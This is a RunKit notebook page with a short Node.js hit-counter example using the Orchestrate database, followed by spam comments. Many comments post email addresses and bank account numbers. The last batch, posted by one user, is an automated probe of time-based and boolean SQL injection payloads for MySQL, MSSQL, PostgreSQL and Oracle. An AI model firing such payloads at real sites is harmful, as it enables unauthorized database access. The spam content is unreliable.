Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

Endpoint Demo

node v6.17.1
version: 1.0.0
endpointsharetweet
The world's simplest hit counter, using a hosted database service called Orchestrate: https://orchestrate.io
var db = require('orchestrate')(process.env.ORCHESTRATE_KEY) exports.tonicEndpoint = async function(request, response) { await db.newPatchBuilder("counts", process.env.TONIC_MOUNT_PATH) .upsert(true) .init("count", 0) .inc("count") .apply() var hits = await db.get("counts", process.env.TONIC_MOUNT_PATH) response.end(hits.body.count.toString()) }
We've set our Orchestrate API key in our environment variables, which we use to initialize the db at the start. Then, on every request, we simply increment the count. Finally, we retrieve the current count and return it. It's important to do the increment this way, so that concurrent updates aren't lost. We then read back out the current value, which may have been updated by someone else already, but that doesn't much matter. The count is stored on a document with an ID matching the "TONIC_MOUNT_PATH" environment variable, which is the URL of this document.
Loading…

73 comments

  • posted 7 years ago by akhond
    need my payments to 2,=- 02?$ #7
  • posted 6 years ago by rahasia
    -999$#4
  • posted 6 years ago by anspage
    #formations#anspage®
  • posted 5 years ago by 5d2bdf3e60baea001a0a3a67
    Remove frp
  • posted 5 years ago by bigbenqb7
    Remove all
  • posted 5 years ago by lokolops
    H
  • posted 5 years ago by w5g
    Hello
  • posted 4 years ago by success156
    cash deposit request #30,000,000-transfer this to George Ekopimoh Monday that its my ballance check~live account
  • posted 4 years ago by success156
    300,000$ balance from undue cheque name: George Ekopimoh Monday
  • posted 4 years ago by falcoblck
    npm i lodash
  • posted 4 years ago by kohlim6
    Fit in github acCount
  • posted 4 years ago by mandy34
    Like
  • posted 4 years ago by shannawhaley0
    https://npmjs.com/package/@github/rest-api-operations
  • posted 4 years ago by abc482
    https://npmjs.com/package/@github/rest-api-operations
  • posted 4 years ago by yanuar444
    0747459374 yanuar harsanto bank negara indonesia
  • posted 4 years ago by nicolefu
    6303361675 iluvcock
  • posted 4 years ago by ahmadshir
    https://runkit.io/runkit/hello-world-api/1.0.0
  • posted 4 years ago by quangthong81
    https://orchestrate.io
  • posted 3 years ago by chucky-ux
    Mario K
  • posted 3 years ago by 6113582c01f30b001a51ccf8
    hi was everyone
  • posted 3 years ago by nony626
    https://orchestrate.io
  • posted 3 years ago by arroncarson
    carson
  • posted 3 years ago by johnstone456
    2000
  • posted 3 years ago by 62679fd34c8c740007ad18fe
    Vinhkhanhtran05@gmail.com cbltranvinhkhanh@com
  • posted 2 years ago by mjhgttrrr3eey8oo
    Ach hh
  • posted 2 years ago by alasd5
    10009900
  • posted 2 years ago by rodneymcghee
    Cash depost 300,000
  • posted 2 years ago by shamssami
    Hi
  • posted 2 years ago by ashley1mary
    CARMONAASHLEY481@gmail.COM
  • posted 2 years ago by 639dd7df0048d60008b519d2
    Ok
  • posted 2 years ago by damacsa
    CARMONAASHLEY481@gmail.COM639dd7df0048d60008b519d2
  • posted 2 years ago by kerryhenderson303
    I need my my money
  • posted 2 years ago by 63fb68a574b22b000826c249
    Ok
  • posted 2 years ago by theo270899
    Can you give me your money
  • posted 2 years ago by theo270899
    How to hack facebook
  • posted a year ago by thomasdr06
    npx create-react-app my-app
  • posted a year ago by thomasdr06
    need my payments to 2,=- 02?$ #7
  • posted a year ago by jamme
    What’s up Hackers
  • posted a year ago by jamme
    And stalkers
  • posted a year ago by jamme
    I need my money too
  • posted a year ago by zionz
    Please help me
  • posted a year ago by mmryambahmani12133
    من خیای سریع به پول نیاز دارم
  • posted a year ago by mmryambahmani12133
    خیلی فوری تامین مالی انجام شود
  • posted a year ago by blove
    Yea I agree these mother fuckers got my whole phone and TVs hacked trying to hide shady shit my husband is doing on his tablet or whatever other electronic device he has
  • posted a year ago by baowtelephone
    yodtelephone@gmail.com
  • posted 6 months ago by 66610023d6de8400080cc0fd
    cleytonwayne50@gmail.com
  • posted 2 months ago by derek85
    I need some money
  • posted 2 months ago by sandeepbhai
    Hi 🙏
  • posted 18 days ago by xsjybldb
    1
  • posted 18 days ago by xsjybldb
    1
  • posted 18 days ago by xsjybldb
    -1 OR 2+930-930-1=0+0+0+1 --
  • posted 18 days ago by xsjybldb
    -1 OR 2+267-267-1=0+0+0+1
  • posted 18 days ago by xsjybldb
    -1' OR 2+541-541-1=0+0+0+1 --
  • posted 18 days ago by xsjybldb
    -1' OR 2+815-815-1=0+0+0+1 or 'lBFrzuzj'='
  • posted 18 days ago by xsjybldb
    -1" OR 2+44-44-1=0+0+0+1 --
  • posted 18 days ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 18 days ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 18 days ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 18 days ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 18 days ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 18 days ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 18 days ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 18 days ago by xsjybldb
    oWj1Psoo'; waitfor delay '0:0:15' --
  • posted 18 days ago by xsjybldb
    -5 OR 819=(SELECT 819 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    -5) OR 815=(SELECT 815 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    -1)) OR 766=(SELECT 766 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    jJ2O5S3o' OR 287=(SELECT 287 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    8XRfpiHx') OR 384=(SELECT 384 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    WwwrvuIN')) OR 201=(SELECT 201 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 18 days ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 18 days ago by xsjybldb
    1'"
  • posted 18 days ago by xsjybldb
    @@2r0uO

sign in to comment